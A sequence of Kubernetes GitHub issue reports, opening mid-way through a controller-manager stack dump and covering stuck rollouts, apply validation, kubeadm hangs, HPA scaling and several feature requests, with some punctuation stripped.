/usr/local/go/src/net/http/server.go:2098 +0x136\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/cmd/kube-controller-manager/app.run.func1 0xc8201758c0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:153 +0x30b\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/cmd/kube-controller-manager/app.run\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:154 +0x333\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 27  chan receive, 385 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/watch.  broadcaster .loop 0xc8202b5240 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/watch/mux.go:201 +0x58\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/watch.newbroadcaster\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/watch/mux.go:75 +0x129\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 28  chan receive, 385 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher.func1 0x7fc2c6697df0, 0xc8201734a0, 0xc8202f3b40 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/record/event.go:227 +0x97\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/record/event.go:239 +0x70\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 29  chan receive, 385 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher.func1 0x7fc2c6697df0, 0xc8201735f0, 0xc8201735c0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/record/event.go:227 +0x97\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/record.  eventbroadcasterimpl .starteventwatcher\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/record/event.go:239 +0x70\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 40  semacquire :\r nov 23 06:03:13 centos7-image kube-controller-manager: sync.runtime_semacquire 0xc8200e0a58 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/runtime/sema.go:47 +0x26\r nov 23 06:03:13 centos7-image kube-controller-manager: sync.  rwmutex .lock 0xc8200e0a50 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/sync/rwmutex.go:88 +0xa1\r nov 23 06:03:13 centos7-image kube-controller-manager: sync.  cond .wait 0xc8200e0a68 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/sync/cond.go:64 +0xc1\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  deltafifo .pop 0xc8200e0a50, 0xc820189350, 0x0, 0x0, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:399 +0xc4\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/controller/framework.  controller .processloop 0xc8202dbc00 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:127 +0x4a\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/controller/framework.  controller . k8s.io/kubernetes/pkg/controller/framework.processloop -fm  \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:103 +0x20\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.jitteruntil.func1 0xc8202cbf88 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:86 +0x4b\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.jitteruntil 0xc8202cbf88, 0x3b9aca00, 0x0, 0x1e5f501, 0xc82009ad80 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:87 +0xb4\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.until 0xc8202cbf88, 0x3b9aca00, 0xc82009ad80 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:49 +0x43\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/controller/framework.  controller .run 0xc8202dbc00, 0xc82009ad80 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:103 +0x1c2\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/controller/endpoint.  endpointcontroller .run\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/endpoint/endpoints_controller.go:157 +0x79\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 65  select  no cases , 385 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/cmd/kube-controller-manager/app.startcontrollers 0xc8201758c0, 0xc8202b5200, 0xc82006a9c0, 0xc8205008a0, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:484 +0x62e2\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/cmd/kube-controller-manager/app.run.func2 0xc8205008a0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:157 +0x4b\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:177 +0x91\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 6692  select, 269 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1 0xc820026ef0, 0xc82009ad80, 0xc82019f680, 0xc820996f00, 0xc820026ef8 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:283 +0x3c8\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:296 +0xde3\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 7159  select, 259 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1 0xc820812400, 0xc82009ad80, 0xc8202ee640, 0xc821046660, 0xc820812410 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:283 +0x3c8\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:296 +0xde3\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 3403  select :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1 0xc820812430, 0xc82009ad80, 0xc82019ec80, 0xc820e6ab40, 0xc820812460 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:283 +0x3c8\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:296 +0xde3\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 68  select :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.jitteruntil 0xc820188150, 0x12a05f200, 0x0, 0x7fc2c64eb601, 0xc82009ad80

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  linux ip-10-10-111-116 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux \r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r i updated my deployment with a new image by using helm and a custom chart  which has worked fine in the past  which manages 2 deployments with both 2 replicas. both deployments created a new replicaset, both came up online with 2 new pods, the old replicaset was scaled down to 1 instance and then stayed there. my deployments now report as 3/2 and no further movement happens. this is the second time today this happens, i thought the first time might have been an odd error, but the next deploy has hit the same problem.\r \r    \r ~ $ kubectl get deployments --namespace=prod\r name                     desired   current   up-to-date   available   age\r ganalytics-prod          2         3         2            2           2d\r ganalytics-prod-worker   2         3         2            2           2d\r    \r deployment status hangs on terminating the last old pod:\r    \r ~ $ kubectl rollout status deployment/ganalytics-prod --namespace=prod\r waiting for rollout to finish: 1 old replicas are pending termination...\r    \r deployment description does not tell me much more eithe. it does show as one pod unavailable, but all pods are showing as running.\r    \r ~ $ kubectl describe deployment ganalytics-prod --namespace=prod\r name:\t\t\tganalytics-prod\r namespace:\t\tprod\r creationtimestamp:\tfri, 03 mar 2017 15:18:49 +0100\r labels:\t\t\tapp=ganalytics\r \t\t\tchart=ganalytics-1\r \t\t\theritage=tiller\r \t\t\trelease=ganalytics-prod\r \t\t\trole=main\r selector:\t\tapp=ganalytics,release=ganalytics-prod,role=main\r replicas:\t\t2 updated | 2 total | 2 available | 1 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t25\r rollingupdatestrategy:\t0 max unavailable, 100% max surge\r conditions:\r   type\t\tstatus\treason\r   ----\t\t------\t------\r   available \ttrue\tminimumreplicasavailable\r oldreplicasets:\tganalytics-prod-2180515786  1/1 replicas created \r newreplicaset:\tganalytics-prod-3154642894  2/2 replicas created \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   20m\t\t20m\t\t1\t{deployment-controller }\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set ganalytics-prod-3154642894 to 2\r   20m\t\t20m\t\t1\t{deployment-controller }\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set ganalytics-prod-2180515786 to 1\r    \r    \r ~ $ kubectl get pods --namespace=prod\r name                                      ready     status    restarts   age\r ganalytics-prod-2180515786-tk1f5          1/1       running   0          5h\r ganalytics-prod-3154642894-2bn4n          1/1       running   0          37m\r ganalytics-prod-3154642894-rgxpp          1/1       running   0          37m\r    \r both replicaset report as all ok:\r    \r ~ $ kubectl describe rs ganalytics-prod-2180515786 --namespace=prod\r name:\t\tganalytics-prod-2180515786\r namespace:\tprod\r image s :\twoorank/ganalytics:v45\r selector:\tapp=ganalytics,pod-template-hash=2180515786,release=ganalytics-prod,role=main\r labels:\t\tapp=ganalytics\r \t\tchart=ganalytics-1\r \t\theritage=tiller\r \t\tpod-template-hash=2180515786\r \t\trelease=ganalytics-prod\r \t\trole=main\r \t\tversion=v45\r replicas:\t1 current / 1 desired\r pods status:\t1 running / 0 waiting / 0 succeeded / 0 failed\r no volumes.\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   36m\t\t36m\t\t1\t{replicaset-controller }\t\t\tnormal\t\tsuccessfuldelete\tdeleted pod: ganalytics-prod-2180515786-lbwjj\r    \r    \r ~ $ kubectl describe rs ganalytics-prod-3154642894 --namespace=prod\r name:\t\tganalytics-prod-3154642894\r namespace:\tprod\r image s :\twoorank/ganalytics:v56\r selector:\tapp=ganalytics,pod-template-hash=3154642894,release=ganalytics-prod,role=main\r labels:\t\tapp=ganalytics\r \t\tchart=ganalytics-1\r \t\theritage=tiller\r \t\tpod-template-hash=3154642894\r \t\trelease=ganalytics-prod\r \t\trole=main\r \t\tversion=v56\r replicas:\t2 current / 2 desired\r pods status:\t2 running / 0 waiting / 0 succeeded / 0 failed\r no volumes.\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   21m\t\t21m\t\t1\t{replicaset-controller }\t\t\tnormal\t\tsuccessfulcreate\tcreated pod: ganalytics-prod-3154642894-rgxpp\r   21m\t\t21m\t\t1\t{replicaset-controller }\t\t\tnormal\t\tsuccessfulcreate\tcreated pod: ganalytics-prod-3154642894-2bn4n\r \r    \r and lastly, kube-controller-manager  logs also show little special:\r    \r i0306 13:23:26.468174       6 replica_set.go:479  too few \ prod\ /\ ganalytics-prod-3154642894\  replicas, need 2, creating 2\r i0306 13:23:26.470697       6 event.go:217  event api.objectreference{kind:\ deployment\ , namespace:\ prod\ , name:\ ganalytics-prod\ , uid:\ 524047a6-001c-11e7-bef2-0ab9b20c0a56\ , apiversion:\ extensions\ , resourceversion:\ 9142083\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set ganalytics-prod-3154642894 to 2\r i0306 13:23:26.500384       6 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ prod\ , name:\ ganalytics-prod-3154642894\ , uid:\ 14aceba8-0270-11e7-9692-12b3f43365d0\ , apiversion:\ extensions\ , resourceversion:\ 9142085\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: ganalytics-prod-3154642894-rgxpp\r i0306 13:23:26.503913       6 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ prod\ , name:\ ganalytics-prod-3154642894\ , uid:\ 14aceba8-0270-11e7-9692-12b3f43365d0\ , apiversion:\ extensions\ , resourceversion:\ 9142085\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: ganalytics-prod-3154642894-2bn4n\r i0306 13:23:26.505992       6 deployment_controller.go:298  error syncing deployment prod/ganalytics-prod: operation cannot be fulfilled on deployments.extensions \ ganalytics-prod\ : the object has been modified; please apply your changes to the latest version and try again\r i0306 13:23:52.359972       6 event.go:217  event api.objectreference{kind:\ deployment\ , namespace:\ prod\ , name:\ ganalytics-prod\ , uid:\ 524047a6-001c-11e7-bef2-0ab9b20c0a56\ , apiversion:\ extensions\ , resourceversion:\ 9142109\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled down replica set ganalytics-prod-2180515786 to 1\r i0306 13:23:52.360664       6 replica_set.go:512  too many \ prod\ /\ ganalytics-prod-2180515786\  replicas, need 1, deleting 1\r i0306 13:23:52.360726       6 controller_utils.go:523  controller ganalytics-prod-2180515786 deleting pod prod/ganalytics-prod-2180515786-lbwjj\r i0306 13:23:52.412882       6 deployment_controller.go:298  error syncing deployment prod/ganalytics-prod: operation cannot be fulfilled on deployments.extensions \ ganalytics-prod\ : the object has been modified; please apply your changes to the latest version and try again\r i0306 13:23:52.413032       6 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ prod\ , name:\ ganalytics-prod-2180515786\ , uid:\ 6412efe7-0249-11e7-9692-12b3f43365d0\ , apiversion:\ extensions\ , resourceversion:\ 9142165\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: ganalytics-prod-2180515786-lbwjj\r i0306 13:23:52.456975       6 deployment_controller.go:298  error syncing deployment prod/ganalytics-prod: operation cannot be fulfilled on deployments.extensions \ ganalytics-prod\ : the object has been modified; please apply your changes to the latest version and try again\r i0306 13:23:52.474537       6 deployment_controller.go:298  error syncing deployment prod/ganalytics-prod: operation cannot be fulfilled on deployments.extensions \ ganalytics-prod\ : the object has been modified; please apply your changes to the latest version and try again\r w0306 13:24:27.496025       6 reflector.go:319  pkg/controller/garbagecollector/garbagecollector.go:768: watch of <nil> ended with: 401: the event in requested index is outdated and cleared  the requested history has been cleared  9141247/9141109    9142246 \r    \r   what you expected to happen  :\r the old replicaset should have scaled down to 0\r \r   how to reproduce it    as minimally and precisely as possible :\r i only seem to have it with this particular deploy... only changes to trigger this deployment was an image change.\r \r   anything else we need to know  :\r all above examples are for the deployment ganalytics-prod, i have a second deployment managed by the same chart named ganalytics-prod-worker that uses the same docker image but different configurations, which has all the same symptoms. both have done this twice today.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r we need a test to forbidden errors like:\r https://github.com/kubernetes/kubernetes/pull/52150\r https://github.com/kubernetes/kubernetes/pull/47829\r \r   what you expected to happen  :\r when such code contained in workspace, a test should tell users.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r currently kubelet client certificate manager use  periodically checks   https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/certificate/transport.go l53-l113  to check kubelet client certificate rotaion.\r   what you expected to happen  :\r i think we can optimize this mechanism, by asynchronous channel notification when real rotatecerts happens.\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

as discussed in the release burndown meeting yesterday, here's a briefing of the issue:\r \r most of the folks  @smarterclayton, @liggitt, @jdumars, @gmarek and many from the release team  almost unanimously agreed with the requirement of post-submit blockers. their absence is affecting us in multiple ways:\r \r 1.release quality: we are shipping the release with a known performance regression violating our slo   51899  documented as a  known issue  https://github.com/kubernetes/features/blob/58315cc33c51f8f4d05364d80f0b66f5d980bad7/release-1.8/release-notes-draft.md known-issues  - which would potentially leave some users unwilling to upgrade to 1.8. a proper fix to it was infeasible that close to the release, which wouldn't have been the case if we early-blocked on it. otoh reverting the concerned pr would've also compromised us on release signal and kicked out a correctness fix from the release.\r \r 2.eng productivity: we've spent multiple weeks of eng time to debug/fix the issues involved, complicated further by the fact that multiple of them got piled up due to lack of post blockers:\r   - 2w of my time for running 2 rounds of bisection, debugging/fixing/studying code/logs  3 regressions -  52107  node ooms ,  51899  audit-log performance ,  51899 kubelet-gc thundering herd  \r   - 3-4d of @liggitt  senior member from redhat  examining the issue, going through a pr diff storm, plotting some graphs, etc\r   - 2w of folks from concerned sigs combined  scalability, api-machinery, node, instrumentation  - involves debugging / pr fixes & reviews / issue reporting\r   - 1w of release team's time combined  long burndown meeting s  with multiple folks, slack discussions, triaging/understanding/documenting the regressions \r \r 3.release schedule: the release had to be pushed off by a day to resolve the issue and led to some chaos and discussion few hours before the release eta.\r \r note that the proposal is not to block until the post-submit is fixed, but to block until we have a clear enough idea about the cause. we should then be able to unblock the queue  possibly manually  and work on the fix independently without needing to block further. this release is a clear example of how a little investment early on can reap huge benefits later.\r \r cc @kubernetes/sig-release-members @kubernetes/sig-testing-feature-requests @dims @spiffxp

i have been upgrading some of my deploymens from  apps/v1beta1  to  apps/v1beta2  on kubernetes  1.8.4  and seem to have differences in yaml validation which mean my upgrades are inconsistent with fresh deployments  ie the upgrade works fine, but if we needed to rebuild, it'd fail .\r \r take the following  v1beta1  yaml, with no  spec.selector.matchlabels , in v1beta1 these were calculated if omitted.\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r   labels:\r     app: nginx\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r    \r \r   observed behaviour  \r if i was to simply make a single change to this yaml file to switch to  v1beta2 , which is actually   invalid  , as  spec.selector.matchlabels  is required in >= v1beta2 \r \r    \r apiversion: apps/v1beta2\r kind: deployment\r ...\r    \r \r the apply is accepted by the server:\r    \r ❯ kubectl apply -f test.yaml\r deployment \ nginx-deployment\  configured\r    \r \r however if i was to delete that deployment, and try and recreate it, it would  correctly  error:\r \r    \r ❯ kubectl delete deployment nginx-deployment\r deployment \ nginx-deployment\  deleted\r \r ❯ kubectl apply -f test.yaml\r the deployment \ nginx-deployment\  is invalid:\r   spec.selector: required value\r   spec.template.metadata.labels: invalid value: map string string{\ app\ :\ nginx\ }:  selector  does not match template  labels \r    \r \r   expected behaviour  \r i believe the yaml file presented in using an  apply  in an upgrade scenario should be validated in the same way in which it would be in a create.\r \r it  feels  like the validation for an apply is being done after a computed merge with what is already deployed, in a \ upgrade\  case, the matchlabels were pre-computed, but in a create case, they're not. \r \r i hope you can see how this would leave me in a slightly uncomfortable position because i had been presuming that if a yaml file could be  applied  then it was valid, and should we ever need to rebuild  or fresh deploy  for example the first time an app is promoted to a new environment  then those yaml files would not work.\r \r at the least i feel this validation should be documented / explained so others don't get caught out!

 \r   what happened  :\r i tried to run kubeadm init.\r \r   what you expected to happen  :\r i wanted the kubernetes master to set up.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.9.1\r - cloud provider or hardware configuration: contabo.com\r - os  e.g. from /etc/os-release : ubuntu 16.04\r \r \r i run:\r \r  \ kubeadm init\ \r \r what i can see in the console:\r \r  init  using kubernetes version: v1.9.1\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r      warning systemverification : docker version is greater than the most recent version. docker version: 17.12.0-ce. max validated version: 17.03\r      warning fileexisting-crictl : crictl not found in system path\r  preflight strarting the kubelet service\r \r ...  generates keys, certificates and writes kubeconfig to disk --> no errors \r \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r \r hangs here\r \r does someone know, what could be the error? i did not find any error code.\r many thanks

today, kubelet gets user id from image config.  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l986\r \r passes that user id to container runtime when create container as  run_as_user  or  run_as_username  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/runtime/v1alpha2/api.proto l558.\r \r dockershim passes the user id / user name to docker. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/security_context.go l84\r \r docker uses the passed in  user  to overwrite the  user  specified in image config. https://github.com/moby/moby/blob/master/daemon/commit.go l23\r \r the problem is that, if the user in image config also contains gid, e.g.  1234:adm , the gid won't be applied, because  1234  passed by dockershim will overwrite  1234:adm .\r \r in this case, docker will try to find  1234  in  /etc/passwd . if it is found, docker will use the corresponding gid https://github.com/moby/moby/blob/master/vendor/github.com/opencontainers/runc/libcontainer/user/user.go l293; if not, docker will use default gid https://github.com/moby/moby/blob/master/vendor/github.com/opencontainers/runc/libcontainer/user/user.go l246.\r \r but in any way, it will not be  adm .\r \r to fix this, there are 2 options:\r   option 1: kubelet handles both user and group. let container runtime return  gid  and  groupname  from  imagestatus ; and then let kubelet pass both user and group to container runtime.\r   option 2: kubelet doesn't handle image default user. kubelet doesn't apply user or group unless  runasuser  or  runasgroup  are explicitly specified. and cri enforces container runtime to apply the default user / group defined in the image config if no user is specified in cri.\r \r related to https://github.com/kubernetes/features/issues/213, https://github.com/kubernetes/kubernetes/issues/30039 issuecomment-377588733\r \r @kubernetes/sig-node-bugs @yujuhong @feiskyer @krmayankk

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r here's some failures\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64447/pull-kubernetes-integration/14448/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64478/pull-kubernetes-integration/13886\r

the cluster was running fine for 255 days. i brought down the cluster and after that, i was unable to run the cluster up. it gives the following error while running the cluster up.\r \r    sh\r creating minions.\r attempt 1 to create kubernetes-minion-template\r error:  gcloud.compute.instance-templates.create  could not fetch image resource:\r  - the resource 'projects/google-containers/global/images/container-vm-v20170627' was not found\r \r attempt 1 failed to create instance template kubernetes-minion-template. retrying.\r    \r \r this attempt goes on and it always fails. am i missing something?\r \r the kubernetes version is v1.7.2.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r we have a gke cluster  1.11  and implemented hpa based on memory utilization for pods. during our testing activity, we have observed, at times, hpa is not scaling pods even though the target value is met. we have also noticed that, hpa events is not giving us any response data   either scaling or downscaling related info . please find the reference screenshot mentioned below,\r \r <img width=\ 1439\  alt=\ screen shot 2019-02-14 at 11 06 33 am\  src=\ https://user-images.githubusercontent.com/45029099/52766588-a3c93b80-304d-11e9-9909-102c7df1c13b.png\ >\r \r   what you expected to happen  :  based on the defined threshold value, hpa should scale pods as soon as the resource utilization is equal to or greater than target value.\r \r   how to reproduce it  as minimally and precisely as possible   : create a gke cluster  1.11.6 , deploy  pods and hpa respectively.\r \r   environment  : gke\r - kubernetes version  use  kubectl version  : blrla00119:components cbharathnoor$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:40:58z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.6-gke.2\ , gitcommit:\ 04ad69a117f331df6272a343b5d8f9e2aee5ab0c\ , gittreestate:\ clean\ , builddate:\ 2019-01-04t16:19:46z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: gke\r \r - note : we are running a java spring application as a docker container inside a pod.\r \r request you to guide us in resolving this issue. also, let us know, if we can debug hpa implementation.\r \r thanks.

what would you like to be added  :\r \r the volume api has several filter checks when selecting appropriate plugins.  this would add  devicemoutableplugin.candevicemount  method to filter plugins when selecting device mountable plugins by the volume api  similar to  attachableplugin.canattach  .\r \r   why is this needed  :\r this is needed to properly skip the devicemount step by volume plugins that may not support it  i.e. csi plugins for instance .\r \r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r   why is this needed  :\r \r https://github.com/kubernetes/kubernetes/pull/75434 discussion_r266358665

started here: https://github.com/kubernetes/md-check  run this in travis against all docs prs.  look at https://github.com/kubernetes/kubernetes/tree/master/cmd/mungedocs for different linters we should be running

